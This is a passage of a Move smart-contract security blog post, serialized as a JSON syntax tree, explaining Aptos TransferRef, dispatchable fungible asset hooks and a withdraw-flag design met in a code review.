ref",{"type":23,"tag":141,"props":63961,"children":63962},{"style":160},[63963],{"type":29,"value":114},{"type":23,"tag":141,"props":63965,"children":63966},{"style":160},[63967],{"type":29,"value":5815},{"type":23,"tag":141,"props":63969,"children":63970},{"style":725},[63971],{"type":29,"value":63906},{"type":23,"tag":141,"props":63973,"children":63974},{"style":154},[63975],{"type":29,"value":2168},{"type":23,"tag":141,"props":63977,"children":63978},{"class":143,"line":205},[63979,63983,63987,63991,63995,63999],{"type":23,"tag":141,"props":63980,"children":63981},{"style":750},[63982],{"type":29,"value":465},{"type":23,"tag":141,"props":63984,"children":63985},{"style":160},[63986],{"type":29,"value":114},{"type":23,"tag":141,"props":63988,"children":63989},{"style":725},[63990],{"type":29,"value":60042},{"type":23,"tag":141,"props":63992,"children":63993},{"style":154},[63994],{"type":29,"value":4480},{"type":23,"tag":141,"props":63996,"children":63997},{"style":725},[63998],{"type":29,"value":4661},{"type":23,"tag":141,"props":64000,"children":64001},{"style":154},[64002],{"type":29,"value":4812},{"type":23,"tag":141,"props":64004,"children":64005},{"class":143,"line":218},[64006,64010,64014,64018],{"type":23,"tag":141,"props":64007,"children":64008},{"style":750},[64009],{"type":29,"value":59694},{"type":23,"tag":141,"props":64011,"children":64012},{"style":160},[64013],{"type":29,"value":114},{"type":23,"tag":141,"props":64015,"children":64016},{"style":725},[64017],{"type":29,"value":10730},{"type":23,"tag":141,"props":64019,"children":64020},{"style":154},[64021],{"type":29,"value":2168},{"type":23,"tag":141,"props":64023,"children":64024},{"class":143,"line":227},[64025],{"type":23,"tag":141,"props":64026,"children":64027},{"style":154},[64028],{"type":29,"value":758},{"type":23,"tag":32,"props":64030,"children":64031},{},[64032,64033,64038,64039,64044],{"type":29,"value":388},{"type":23,"tag":38,"props":64034,"children":64036},{"className":64035},[],[64037],{"type":29,"value":47329},{"type":29,"value":45},{"type":23,"tag":38,"props":64040,"children":64042},{"className":64041},[],[64043],{"type":29,"value":63906},{"type":29,"value":64045}," is used to transfer object ownership:",{"type":23,"tag":131,"props":64047,"children":64049},{"className":1639,"code":64048,"language":1638,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n self: address,\n}\n",[64050],{"type":23,"tag":38,"props":64051,"children":64052},{"__ignoreMap":7},[64053,64061,64094,64113],{"type":23,"tag":141,"props":64054,"children":64055},{"class":143,"line":144},[64056],{"type":23,"tag":141,"props":64057,"children":64058},{"style":443},[64059],{"type":29,"value":64060},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":141,"props":64062,"children":64063},{"class":143,"line":180},[64064,64068,64073,64077,64082,64086,64090],{"type":23,"tag":141,"props":64065,"children":64066},{"style":449},[64067],{"type":29,"value":8079},{"type":23,"tag":141,"props":64069,"children":64070},{"style":725},[64071],{"type":29,"value":64072}," TransferRef",{"type":23,"tag":141,"props":64074,"children":64075},{"style":750},[64076],{"type":29,"value":8088},{"type":23,"tag":141,"props":64078,"children":64079},{"style":750},[64080],{"type":29,"value":64081}," drop",{"type":23,"tag":141,"props":64083,"children":64084},{"style":154},[64085],{"type":29,"value":480},{"type":23,"tag":141,"props":64087,"children":64088},{"style":750},[64089],{"type":29,"value":4614},{"type":23,"tag":141,"props":64091,"children":64092},{"style":154},[64093],{"type":29,"value":1951},{"type":23,"tag":141,"props":64095,"children":64096},{"class":143,"line":205},[64097,64101,64105,64109],{"type":23,"tag":141,"props":64098,"children":64099},{"style":449},[64100],{"type":29,"value":19458},{"type":23,"tag":141,"props":64102,"children":64103},{"style":160},[64104],{"type":29,"value":114},{"type":23,"tag":141,"props":64106,"children":64107},{"style":750},[64108],{"type":29,"value":4924},{"type":23,"tag":141,"props":64110,"children":64111},{"style":154},[64112],{"type":29,"value":2168},{"type":23,"tag":141,"props":64114,"children":64115},{"class":143,"line":218},[64116],{"type":23,"tag":141,"props":64117,"children":64118},{"style":154},[64119],{"type":29,"value":2573},{"type":23,"tag":32,"props":64121,"children":64122},{},[64123,64125,64130],{"type":29,"value":64124},"While the fungible asset's ",{"type":23,"tag":38,"props":64126,"children":64128},{"className":64127},[],[64129],{"type":29,"value":63906},{"type":29,"value":64131}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":131,"props":64133,"children":64135},{"className":1639,"code":64134,"language":1638,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n metadata: Object\u003CMetadata>\n}\n",[64136],{"type":23,"tag":38,"props":64137,"children":64138},{"__ignoreMap":7},[64139,64147,64155,64186,64213],{"type":23,"tag":141,"props":64140,"children":64141},{"class":143,"line":144},[64142],{"type":23,"tag":141,"props":64143,"children":64144},{"style":443},[64145],{"type":29,"value":64146},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":141,"props":64148,"children":64149},{"class":143,"line":180},[64150],{"type":23,"tag":141,"props":64151,"children":64152},{"style":443},[64153],{"type":29,"value":64154},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":141,"props":64156,"children":64157},{"class":143,"line":205},[64158,64162,64166,64170,64174,64178,64182],{"type":23,"tag":141,"props":64159,"children":64160},{"style":449},[64161],{"type":29,"value":8079},{"type":23,"tag":141,"props":64163,"children":64164},{"style":725},[64165],{"type":29,"value":64072},{"type":23,"tag":141,"props":64167,"children":64168},{"style":750},[64169],{"type":29,"value":8088},{"type":23,"tag":141,"props":64171,"children":64172},{"style":750},[64173],{"type":29,"value":64081},{"type":23,"tag":141,"props":64175,"children":64176},{"style":154},[64177],{"type":29,"value":480},{"type":23,"tag":141,"props":64179,"children":64180},{"style":750},[64181],{"type":29,"value":4614},{"type":23,"tag":141,"props":64183,"children":64184},{"style":154},[64185],{"type":29,"value":1951},{"type":23,"tag":141,"props":64187,"children":64188},{"class":143,"line":218},[64189,64193,64197,64201,64205,64209],{"type":23,"tag":141,"props":64190,"children":64191},{"style":750},[64192],{"type":29,"value":60033},{"type":23,"tag":141,"props":64194,"children":64195},{"style":160},[64196],{"type":29,"value":114},{"type":23,"tag":141,"props":64198,"children":64199},{"style":725},[64200],{"type":29,"value":60042},{"type":23,"tag":141,"props":64202,"children":64203},{"style":154},[64204],{"type":29,"value":4480},{"type":23,"tag":141,"props":64206,"children":64207},{"style":725},[64208],{"type":29,"value":60051},{"type":23,"tag":141,"props":64210,"children":64211},{"style":154},[64212],{"type":29,"value":4666},{"type":23,"tag":141,"props":64214,"children":64215},{"class":143,"line":227},[64216],{"type":23,"tag":141,"props":64217,"children":64218},{"style":154},[64219],{"type":29,"value":2573},{"type":23,"tag":32,"props":64221,"children":64222},{},[64223,64225,64231,64233,64239],{"type":29,"value":64224},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":38,"props":64226,"children":64228},{"className":64227},[],[64229],{"type":29,"value":64230},"MintRef",{"type":29,"value":64232}," for minting and ",{"type":23,"tag":38,"props":64234,"children":64236},{"className":64235},[],[64237],{"type":29,"value":64238},"BurnRef",{"type":29,"value":64240}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":24,"props":64242,"children":64244},{"id":64243},"dispatchable-fungible-assets",[64245],{"type":29,"value":64246},"Dispatchable fungible assets",{"type":23,"tag":32,"props":64248,"children":64249},{},[64250],{"type":29,"value":64251},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":32,"props":64253,"children":64254},{},[64255],{"type":29,"value":64256},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":64258,"props":64259,"children":64260},"warning",{},[64261],{"type":23,"tag":32,"props":64262,"children":64263},{},[64264,64266,64272],{"type":29,"value":64265},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":38,"props":64267,"children":64269},{"className":64268},[],[64270],{"type":29,"value":64271},"transfer_assert_minimum_deposit",{"type":29,"value":64273}," that can help mitigate such risks.",{"type":23,"tag":32,"props":64275,"children":64276},{},[64277,64279,64284,64286,64293],{"type":29,"value":64278},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":38,"props":64280,"children":64282},{"className":64281},[],[64283],{"type":29,"value":60156},{"type":29,"value":64285}," to ensure ",{"type":23,"tag":55,"props":64287,"children":64290},{"href":64288,"rel":64289},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[59],[64291],{"type":29,"value":64292},"their signature remains immutable",{"type":29,"value":64294},". An example implementation might look like this:",{"type":23,"tag":131,"props":64296,"children":64298},{"className":1639,"code":64297,"language":1638,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n store: Object\u003CT>,\n amount: u64,\n transfer_ref: &TransferRef,\n): FungibleAsset {\n //check paused, gather fees etc.\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n store: Object\u003CT>,\n fa: FungibleAsset,\n transfer_ref: &TransferRef,\n) {\n //check paused, gather fees etc.\n fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[64299],{"type":23,"tag":38,"props":64300,"children":64301},{"__ignoreMap":7},[64302,64338,64365,64384,64408,64427,64435,64481,64488,64495,64531,64558,64578,64601,64608,64615,64659],{"type":23,"tag":141,"props":64303,"children":64304},{"class":143,"line":144},[64305,64309,64313,64318,64322,64326,64330,64334],{"type":23,"tag":141,"props":64306,"children":64307},{"style":750},[64308],{"type":29,"value":60156},{"type":23,"tag":141,"props":64310,"children":64311},{"style":750},[64312],{"type":29,"value":4881},{"type":23,"tag":141,"props":64314,"children":64315},{"style":750},[64316],{"type":29,"value":64317}," withdraw_hook",{"type":23,"tag":141,"props":64319,"children":64320},{"style":154},[64321],{"type":29,"value":4480},{"type":23,"tag":141,"props":64323,"children":64324},{"style":725},[64325],{"type":29,"value":4661},{"type":23,"tag":141,"props":64327,"children":64328},{"style":160},[64329],{"type":29,"value":114},{"type":23,"tag":141,"props":64331,"children":64332},{"style":750},[64333],{"type":29,"value":4605},{"type":23,"tag":141,"props":64335,"children":64336},{"style":154},[64337],{"type":29,"value":5262},{"type":23,"tag":141,"props":64339,"children":64340},{"class":143,"line":180},[64341,64345,64349,64353,64357,64361],{"type":23,"tag":141,"props":64342,"children":64343},{"style":750},[64344],{"type":29,"value":465},{"type":23,"tag":141,"props":64346,"children":64347},{"style":160},[64348],{"type":29,"value":114},{"type":23,"tag":141,"props":64350,"children":64351},{"style":725},[64352],{"type":29,"value":60042},{"type":23,"tag":141,"props":64354,"children":64355},{"style":154},[64356],{"type":29,"value":4480},{"type":23,"tag":141,"props":64358,"children":64359},{"style":725},[64360],{"type":29,"value":4661},{"type":23,"tag":141,"props":64362,"children":64363},{"style":154},[64364],{"type":29,"value":4812},{"type":23,"tag":141,"props":64366,"children":64367},{"class":143,"line":205},[64368,64372,64376,64380],{"type":23,"tag":141,"props":64369,"children":64370},{"style":750},[64371],{"type":29,"value":60063},{"type":23,"tag":141,"props":64373,"children":64374},{"style":160},[64375],{"type":29,"value":114},{"type":23,"tag":141,"props":64377,"children":64378},{"style":725},[64379],{"type":29,"value":4534},{"type":23,"tag":141,"props":64381,"children":64382},{"style":154},[64383],{"type":29,"value":2168},{"type":23,"tag":141,"props":64385,"children":64386},{"class":143,"line":218},[64387,64392,64396,64400,64404],{"type":23,"tag":141,"props":64388,"children":64389},{"style":750},[64390],{"type":29,"value":64391}," transfer_ref",{"type":23,"tag":141,"props":64393,"children":64394},{"style":160},[64395],{"type":29,"value":114},{"type":23,"tag":141,"props":64397,"children":64398},{"style":160},[64399],{"type":29,"value":5815},{"type":23,"tag":141,"props":64401,"children":64402},{"style":725},[64403],{"type":29,"value":63906},{"type":23,"tag":141,"props":64405,"children":64406},{"style":154},[64407],{"type":29,"value":2168},{"type":23,"tag":141,"props":64409,"children":64410},{"class":143,"line":227},[64411,64415,64419,64423],{"type":23,"tag":141,"props":64412,"children":64413},{"style":154},[64414],{"type":29,"value":1788},{"type":23,"tag":141,"props":64416,"children":64417},{"style":160},[64418],{"type":29,"value":114},{"type":23,"tag":141,"props":64420,"children":64421},{"style":725},[64422],{"type":29,"value":60021},{"type":23,"tag":141,"props":64424,"children":64425},{"style":154},[64426],{"type":29,"value":1951},{"type":23,"tag":141,"props":64428,"children":64429},{"class":143,"line":241},[64430],{"type":23,"tag":141,"props":64431,"children":64432},{"style":443},[64433],{"type":29,"value":64434}," //check paused, gather fees etc.\n",{"type":23,"tag":141,"props":64436,"children":64437},{"class":143,"line":262},[64438,64443,64447,64452,64456,64461,64465,64469,64473,64477],{"type":23,"tag":141,"props":64439,"children":64440},{"style":154},[64441],{"type":29,"value":64442}," fungible_asset",{"type":23,"tag":141,"props":64444,"children":64445},{"style":160},[64446],{"type":29,"value":2141},{"type":23,"tag":141,"props":64448,"children":64449},{"style":184},[64450],{"type":29,"value":64451},"withdraw_with_ref",{"type":23,"tag":141,"props":64453,"children":64454},{"style":154},[64455],{"type":29,"value":192},{"type":23,"tag":141,"props":64457,"children":64458},{"style":750},[64459],{"type":29,"value":64460},"transfer_ref",{"type":23,"tag":141,"props":64462,"children":64463},{"style":154},[64464],{"type":29,"value":480},{"type":23,"tag":141,"props":64466,"children":64467},{"style":750},[64468],{"type":29,"value":4614},{"type":23,"tag":141,"props":64470,"children":64471},{"style":154},[64472],{"type":29,"value":480},{"type":23,"tag":141,"props":64474,"children":64475},{"style":750},[64476],{"type":29,"value":18978},{"type":23,"tag":141,"props":64478,"children":64479},{"style":154},[64480],{"type":29,"value":758},{"type":23,"tag":141,"props":64482,"children":64483},{"class":143,"line":271},[64484],{"type":23,"tag":141,"props":64485,"children":64486},{"style":154},[64487],{"type":29,"value":2573},{"type":23,"tag":141,"props":64489,"children":64490},{"class":143,"line":293},[64491],{"type":23,"tag":141,"props":64492,"children":64493},{"emptyLinePlaceholder":15},[64494],{"type":29,"value":719},{"type":23,"tag":141,"props":64496,"children":64497},{"class":143,"line":801},[64498,64502,64506,64511,64515,64519,64523,64527],{"type":23,"tag":141,"props":64499,"children":64500},{"style":750},[64501],{"type":29,"value":60156},{"type":23,"tag":141,"props":64503,"children":64504},{"style":750},[64505],{"type":29,"value":4881},{"type":23,"tag":141,"props":64507,"children":64508},{"style":750},[64509],{"type":29,"value":64510}," deposit_hook",{"type":23,"tag":141,"props":64512,"children":64513},{"style":154},[64514],{"type":29,"value":4480},{"type":23,"tag":141,"props":64516,"children":64517},{"style":725},[64518],{"type":29,"value":4661},{"type":23,"tag":141,"props":64520,"children":64521},{"style":160},[64522],{"type":29,"value":114},{"type":23,"tag":141,"props":64524,"children":64525},{"style":750},[64526],{"type":29,"value":4605},{"type":23,"tag":141,"props":64528,"children":64529},{"style":154},[64530],{"type":29,"value":5262},{"type":23,"tag":141,"props":64532,"children":64533},{"class":143,"line":810},[64534,64538,64542,64546,64550,64554],{"type":23,"tag":141,"props":64535,"children":64536},{"style":750},[64537],{"type":29,"value":465},{"type":23,"tag":141,"props":64539,"children":64540},{"style":160},[64541],{"type":29,"value":114},{"type":23,"tag":141,"props":64543,"children":64544},{"style":725},[64545],{"type":29,"value":60042},{"type":23,"tag":141,"props":64547,"children":64548},{"style":154},[64549],{"type":29,"value":4480},{"type":23,"tag":141,"props":64551,"children":64552},{"style":725},[64553],{"type":29,"value":4661},{"type":23,"tag":141,"props":64555,"children":64556},{"style":154},[64557],{"type":29,"value":4812},{"type":23,"tag":141,"props":64559,"children":64560},{"class":143,"line":824},[64561,64566,64570,64574],{"type":23,"tag":141,"props":64562,"children":64563},{"style":750},[64564],{"type":29,"value":64565}," fa",{"type":23,"tag":141,"props":64567,"children":64568},{"style":160},[64569],{"type":29,"value":114},{"type":23,"tag":141,"props":64571,"children":64572},{"style":725},[64573],{"type":29,"value":60021},{"type":23,"tag":141,"props":64575,"children":64576},{"style":154},[64577],{"type":29,"value":2168},{"type":23,"tag":141,"props":64579,"children":64580},{"class":143,"line":839},[64581,64585,64589,64593,64597],{"type":23,"tag":141,"props":64582,"children":64583},{"style":750},[64584],{"type":29,"value":64391},{"type":23,"tag":141,"props":64586,"children":64587},{"style":160},[64588],{"type":29,"value":114},{"type":23,"tag":141,"props":64590,"children":64591},{"style":160},[64592],{"type":29,"value":5815},{"type":23,"tag":141,"props":64594,"children":64595},{"style":725},[64596],{"type":29,"value":63906},{"type":23,"tag":141,"props":64598,"children":64599},{"style":154},[64600],{"type":29,"value":2168},{"type":23,"tag":141,"props":64602,"children":64603},{"class":143,"line":848},[64604],{"type":23,"tag":141,"props":64605,"children":64606},{"style":154},[64607],{"type":29,"value":13480},{"type":23,"tag":141,"props":64609,"children":64610},{"class":143,"line":2304},[64611],{"type":23,"tag":141,"props":64612,"children":64613},{"style":443},[64614],{"type":29,"value":64434},{"type":23,"tag":141,"props":64616,"children":64617},{"class":143,"line":2313},[64618,64622,64626,64631,64635,64639,64643,64647,64651,64655],{"type":23,"tag":141,"props":64619,"children":64620},{"style":154},[64621],{"type":29,"value":64442},{"type":23,"tag":141,"props":64623,"children":64624},{"style":160},[64625],{"type":29,"value":2141},{"type":23,"tag":141,"props":64627,"children":64628},{"style":184},[64629],{"type":29,"value":64630},"deposit_with_ref",{"type":23,"tag":141,"props":64632,"children":64633},{"style":154},[64634],{"type":29,"value":192},{"type":23,"tag":141,"props":64636,"children":64637},{"style":750},[64638],{"type":29,"value":64460},{"type":23,"tag":141,"props":64640,"children":64641},{"style":154},[64642],{"type":29,"value":480},{"type":23,"tag":141,"props":64644,"children":64645},{"style":750},[64646],{"type":29,"value":4614},{"type":23,"tag":141,"props":64648,"children":64649},{"style":154},[64650],{"type":29,"value":480},{"type":23,"tag":141,"props":64652,"children":64653},{"style":750},[64654],{"type":29,"value":60214},{"type":23,"tag":141,"props":64656,"children":64657},{"style":154},[64658],{"type":29,"value":2496},{"type":23,"tag":141,"props":64660,"children":64661},{"class":143,"line":2335},[64662],{"type":23,"tag":141,"props":64663,"children":64664},{"style":154},[64665],{"type":29,"value":2573},{"type":23,"tag":64667,"props":64668,"children":64669},"question",{},[64670,64697],{"type":23,"tag":32,"props":64671,"children":64672},{},[64673,64675,64681,64683,64689,64690,64696],{"type":29,"value":64674},"Why hook functions rely on ",{"type":23,"tag":38,"props":64676,"children":64678},{"className":64677},[],[64679],{"type":29,"value":64680},"*_with_ref",{"type":29,"value":64682}," calls? What would happen if the hook function called ",{"type":23,"tag":38,"props":64684,"children":64686},{"className":64685},[],[64687],{"type":29,"value":64688},"dispatchable_fungible_asset::withdraw",{"type":29,"value":15469},{"type":23,"tag":38,"props":64691,"children":64693},{"className":64692},[],[64694],{"type":29,"value":64695},"fungible_asset::withdraw_with_ref",{"type":29,"value":1816},{"type":23,"tag":64698,"props":64699,"children":64700},"template",{"v-slot:answer-0":7},[64701,64713],{"type":23,"tag":32,"props":64702,"children":64703},{},[64704,64706,64711],{"type":29,"value":64705},"A1: Hook functions rely on ",{"type":23,"tag":38,"props":64707,"children":64709},{"className":64708},[],[64710],{"type":29,"value":64680},{"type":29,"value":64712}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":23,"tag":32,"props":64714,"children":64715},{},[64716,64718,64723],{"type":29,"value":64717},"A2: A ",{"type":23,"tag":38,"props":64719,"children":64721},{"className":64720},[],[64722],{"type":29,"value":64688},{"type":29,"value":64724}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":23,"tag":32,"props":64726,"children":64727},{},[64728],{"type":29,"value":64729},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":23,"tag":131,"props":64731,"children":64733},{"className":1639,"code":64732,"language":1638,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n assert_withdraw_flag(true);\n [...]\n set_withdraw_flag(false);\n fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n [...]\n }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n assert_withdraw_flag(false);\n [...]\n set_withdraw_flag(true);\n fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[64734],{"type":23,"tag":38,"props":64735,"children":64736},{"__ignoreMap":7},[64737,64832,64852,64867,64887,64930,64945,64952,64959,65078,65097,65112,65131,65174],{"type":23,"tag":141,"props":64738,"children":64739},{"class":143,"line":144},[64740,64744,64748,64752,64756,64760,64764,64768,64772,64776,64780,64784,64788,64792,64796,64800,64804,64808,64812,64816,64820,64824,64828],{"type":23,"tag":141,"props":64741,"children":64742},{"style":750},[64743],{"type":29,"value":60156},{"type":23,"tag":141,"props":64745,"children":64746},{"style":750},[64747],{"type":29,"value":4881},{"type":23,"tag":141,"props":64749,"children":64750},{"style":750},[64751],{"type":29,"value":60165},{"type":23,"tag":141,"props":64753,"children":64754},{"style":154},[64755],{"type":29,"value":4480},{"type":23,"tag":141,"props":64757,"children":64758},{"style":725},[64759],{"type":29,"value":4661},{"type":23,"tag":141,"props":64761,"children":64762},{"style":160},[64763],{"type":29,"value":114},{"type":23,"tag":141,"props":64765,"children":64766},{"style":750},[64767],{"type":29,"value":4605},{"type":23,"tag":141,"props":64769,"children":64770},{"style":154},[64771],{"type":29,"value":6285},{"type":23,"tag":141,"props":64773,"children":64774},{"style":750},[64775],{"type":29,"value":4614},{"type":23,"tag":141,"props":64777,"children":64778},{"style":160},[64779],{"type":29,"value":114},{"type":23,"tag":141,"props":64781,"children":64782},{"style":725},[64783],{"type":29,"value":60042},{"type":23,"tag":141,"props":64785,"children":64786},{"style":154},[64787],{"type":29,"value":4480},{"type":23,"tag":141,"props":64789,"children":64790},{"style":725},[64791],{"type":29,"value":4661},{"type":23,"tag":141,"props":64793,"children":64794},{"style":154},[64795],{"type":29,"value":5304},{"type":23,"tag":141,"props":64797,"children":64798},{"style":750},[64799],{"type":29,"value":60214},{"type":23,"tag":141,"props":64801,"children":64802},{"style":160},[64803],{"type":29,"value":114},{"type":23,"tag":141,"props":64805,"children":64806},{"style":725},[64807],{"type":29,"value":60021},{"type":23,"tag":141,"props":64809,"children":64810},{"style":154},[64811],{"type":29,"value":480},{"type":23,"tag":141,"props":64813,"children":64814},{"style":750},[64815],{"type":29,"value":64460},{"type":23,"tag":141,"props":64817,"children":64818},{"style":160},[64819],{"type":29,"value":114},{"type":23,"tag":141,"props":64821,"children":64822},{"style":160},[64823],{"type":29,"value":5815},{"type":23,"tag":141,"props":64825,"children":64826},{"style":725},[64827],{"type":29,"value":63906},{"type":23,"tag":141,"props":64829,"children":64830},{"style":154},[64831],{"type":29,"value":13480},{"type":23,"tag":141,"props":64833,"children":64834},{"class":143,"line":180},[64835,64840,64844,64848],{"type":23,"tag":141,"props":64836,"children":64837},{"style":184},[64838],{"type":29,"value":64839}," assert_withdraw_flag",{"type":23,"tag":141,"props":64841,"children":64842},{"style":154},[64843],{"type":29,"value":192},{"type":23,"tag":141,"props":64845,"children":64846},{"style":449},[64847],{"type":29,"value":2670},{"type":23,"tag":141,"props":64849,"children":64850},{"style":154},[64851],{"type":29,"value":2496},{"type":23,"tag":141,"props":64853,"children":64854},{"class":143,"line":205},[64855,64859,64863],{"type":23,"tag":141,"props":64856,"children":64857},{"style":154},[64858],{"type":29,"value":61199},{"type":23,"tag":141,"props":64860,"children":64861},{"style":160},[64862],{"type":29,"value":8269},{"type":23,"tag":141,"props":64864,"children":64865},{"style":154},[64866],{"type":29,"value":10452},{"type":23,"tag":141,"props":64868,"children":64869},{"class":143,"line":218},[64870,64875,64879,64883],{"type":23,"tag":141,"props":64871,"children":64872},{"style":184},[64873],{"type":29,"value":64874}," set_withdraw_flag",{"type":23,"tag":141,"props":64876,"children":64877},{"style":154},[64878],{"type":29,"value":192},{"type":23,"tag":141,"props":64880,"children":64881},{"style":449},[64882],{"type":29,"value":6850},{"type":23,"tag":141,"props":64884,"children":64885},{"style":154},[64886],{"type":29,"value":2496},{"type":23,"tag":141,"props":64888,"children":64889},{"class":143,"line":227},[64890,64894,64898,64902,64906,64910,64914,64918,64922,64926],{"type":23,"tag":141,"props":64891,"children":64892},{"style":154},[64893],{"type":29,"value":64442},{"type":23,"tag":141,"props":64895,"children":64896},{"style":160},[64897],{"type":29,"value":2141},{"type":23,"tag":141,"props":64899,"children":64900},{"style":184},[64901],{"type":29,"value":64630},{"type":23,"tag":141,"props":64903,"children":64904},{"style":154},[64905],{"type":29,"value":192},{"type":23,"tag":141,"props":64907,"children":64908},{"style":750},[64909],{"type":29,"value":64460},{"type":23,"tag":141,"props":64911,"children":64912},{"style":154},[64913],{"type":29,"value":480},{"type":23,"tag":141,"props":64915,"children":64916},{"style":750},[64917],{"type":29,"value":4614},{"type":23,"tag":141,"props":64919,"children":64920},{"style":154},[64921],{"type":29,"value":480},{"type":23,"tag":141,"props":64923,"children":64924},{"style":750},[64925],{"type":29,"value":18978},{"type":23,"tag":141,"props":64927,"children":64928},{"style":154},[64929],{"type":29,"value":2496},{"type":23,"tag":141,"props":64931,"children":64932},{"class":143,"line":241},[64933,64937,64941],{"type":23,"tag":141,"props":64934,"children":64935},{"style":154},[64936],{"type":29,"value":61199},{"type":23,"tag":141,"props":64938,"children":64939},{"style":160},[64940],{"type":29,"value":8269},{"type":23,"tag":141,"props":64942,"children":64943},{"style":154},[64944],{"type":29,"value":10452},{"type":23,"tag":141,"props":64946,"children":64947},{"class":143,"line":262},[64948],{"type":23,"tag":141,"props":64949,"children":64950},{"style":154},[64951],{"type":29,"value":299},{"type":23,"tag":141,"props":64953,"children":64954},{"class":143,"line":271},[64955],{"type":23,"tag":141,"props":64956,"children":64957},{"emptyLinePlaceholder":15},[64958],{"type":29,"value":719},{"type":23,"tag":141,"props":64960,"children":64961},{"class":143,"line":293},[64962,64966,64970,64974,64978,64982,64986,64990,64994,64998,65002,65006,65010,65014,65018,65022,65026,65030,65034,65038,65042,65046,65050,65054,65058,65062,65066,65070,65074],{"type":23,"tag":141,"props":64963,"children":64964},{"style":750},[64965],{"type":29,"value":60156},{"type":23,"tag":141,"props":64967,"children":64968},{"style":750},[64969],{"type":29,"value":4881},{"type":23,"tag":141,"props":64971,"children":64972},{"style":750},[64973],{"type":29,"value":18943},{"type":23,"tag":141,"props":64975,"children":64976},{"style":154},[64977],{"type":29,"value":4480},{"type":23,"tag":141,"props":64979,"children":64980},{"style":725},[64981],{"type":29,"value":4661},{"type":23,"tag":141,"props":64983,"children":64984},{"style":160},[64985],{"type":29,"value":114},{"type":23,"tag":141,"props":64987,"children":64988},{"style":750},[64989],{"type":29,"value":4605},{"type":23,"tag":141,"props":64991,"children":64992},{"style":154},[64993],{"type":29,"value":6285},{"type":23,"tag":141,"props":64995,"children":64996},{"style":750},[64997],{"type":29,"value":4614},{"type":23,"tag":141,"props":64999,"children":65000},{"style":160},[65001],{"type":29,"value":114},{"type":23,"tag":141,"props":65003,"children":65004},{"style":725},[65005],{"type":29,"value":60042},{"type":23,"tag":141,"props":65007,"children":65008},{"style":154},[65009],{"type":29,"value":4480},{"type":23,"tag":141,"props":65011,"children":65012},{"style":725},[65013],{"type":29,"value":4661},{"type":23,"tag":141,"props":65015,"children":65016},{"style":154},[65017],{"type":29,"value":5304},{"type":23,"tag":141,"props":65019,"children":65020},{"style":750},[65021],{"type":29,"value":18978},{"type":23,"tag":141,"props":65023,"children":65024},{"style":160},[65025],{"type":29,"value":114},{"type":23,"tag":141,"props":65027,"children":65028},{"style":725},[65029],{"type":29,"value":4534},{"type":23,"tag":141,"props":65031,"children":65032},{"style":154},[65033],{"type":29,"value":480},{"type":23,"tag":141,"props":65035,"children":65036},{"style":750},[65037],{"type":29,"value":64460},{"type":23,"tag":141,"props":65039,"children":65040},{"style":160},[65041],{"type":29,"value":114},{"type":23,"tag":141,"props":65043,"children":65044},{"style":160},[65045],{"type":29,"value":5815},{"type":23,"tag":141,"props":65047,"children":65048},{"style":725},[65049],{"type":29,"value":63906},{"type":23,"tag":141,"props":65051,"children":65052},{"style":154},[65053],{"type":29,"value":1788},{"type":23,"tag":141,"props":65055,"children":65056},{"style":160},[65057],{"type":29,"value":114},{"type":23,"tag":141,"props":65059,"children":65060},{"style":725},[65061],{"type":29,"value":60021},{"type":23,"tag":141,"props":65063,"children":65064},{"style":750},[65065],{"type":29,"value":6241},{"type":23,"tag":141,"props":65067,"children":65068},{"style":154},[65069],{"type":29,"value":21704},{"type":23,"tag":141,"props":65071,"children":65072},{"style":160},[65073],{"type":29,"value":8269},{"type":23,"tag":141,"props":65075,"children":65076},{"style":154},[65077],{"type":29,"value":60247},{"type":23,"tag":141,"props":65079,"children":65080},{"class":143,"line":801},[65081,65085,65089,65093],{"type":23,"tag":141,"props":65082,"children":65083},{"style":184},[65084],{"type":29,"value":64839},{"type":23,"tag":141,"props":65086,"children":65087},{"style":154},[65088],{"type":29,"value":192},{"type":23,"tag":141,"props":65090,"children":65091},{"style":449},[65092],{"type":29,"value":6850},{"type":23,"tag":141,"props":65094,"children":65095},{"style":154},[65096],{"type":29,"value":2496},{"type":23,"tag":141,"props":65098,"children":65099},{"class":143,"line":810},[65100,65104,65108],{"type":23,"tag":141,"props":65101,"children":65102},{"style":154},[65103],{"type":29,"value":61199},{"type":23,"tag":141,"props":65105,"children":65106},{"style":160},